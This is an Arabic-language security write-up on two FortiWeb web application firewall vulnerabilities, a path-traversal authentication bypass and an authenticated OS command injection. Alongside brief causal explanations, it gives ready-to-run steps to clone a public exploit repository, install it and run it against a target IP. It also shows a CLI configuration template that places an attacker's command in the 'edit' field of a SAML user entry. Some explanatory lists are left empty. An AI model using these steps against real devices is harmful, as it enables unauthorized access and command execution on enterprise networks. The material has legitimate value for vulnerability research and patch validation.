
أبحاث أمنية حول ثغرات Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)
Fortinet FortiWeb هو جهاز جدار حماية تطبيقات الويب (Web Application Firewall - WAF) يُستخدم على نطاق واسع في أنظمة المؤسسات لحماية تطبيقات الويب من التهديدات الشائعة.
نظرًا لأن FortiWeb يقع عادةً في طبقة الحماية المركزية، فإن الثغرات المتعلقة بالمصادقة أو تنفيذ أوامر نظام التشغيل قد تؤثر بشكل خطير على البنية التحتية بأكملها خلفه. في عام 2025، تم الإعلان عن ثغرتين خطيرتين في FortiWeb:
CVE-2025-64446 – تجاوز المصادقة عبر اجتياز المسار النسبي (Relative Path Traversal)
CVE-2025-58034 – حقن أوامر نظام التشغيل (OS Command Injection) في سياق مصادق عليه
تنبع CVE-2025-64446 من قيام FortiWeb بمعالجة وفحص مسارات الوصول بشكل غير صارم قبل تطبيق آلية المصادقة.
على وجه التحديد:
يؤدي هذا الخطأ إلى إمكانية الوصول إلى بعض نقاط نهاية الإدارة (endpoints) دون الحاجة إلى مصادقة صالحة.
تنشأ CVE-2025-58034 بسبب معالجة FortiWeb لبيانات إدخال المستخدم بشكل غير آمن أثناء استدعاء أوامر نظام التشغيل.
تشمل الأسباب الرئيسية:
تتطلب هذه الثغرة سياقًا مصادقًا عليه، ولكنها تحمل درجة خطر عالية نظرًا لارتباطها بتنفيذ الأوامر.
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034
تُستخدم البيئة الافتراضية للغة بايثون (venv) لإنشاء بيئة عمل مستقلة لكل مشروع، مما يساعد على عزل المكتبات التابعة عن نظام Python الرئيسي. ويساعد ذلك في تجنب تعارضات إصدارات المكتبات، وضمان استقرار بيئة العمل، والحد من التأثير على النظام.
python3 -m venv venv source venv/bin/activate
pip install -r requirements.txt
python exploit.py <target_ip>

config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
تنشأ ثغرة CVE-2025-58034 بسبب عدم قيام FortiWeb بمراقبة بيانات الإدخال بدقة في بعض حقول الإعدادات، خاصة القيمة التي تُمرَّر عبر الأمر: edit "" المشكلة: يتم التعامل مع هذه القيمة كسلسلة إعدادات ثم تُدخل في أوامر نظام التشغيل الداخلية ولا يتم تصفية أو تهريب (escape) الأحرف الخاصة بشكل كافٍ يؤدي هذا إلى إمكانية تأثير بيانات الإعدادات مباشرةً على أمر نظام التشغيل المنفَّذ، مما يسبب ثغرة OS Command Injection.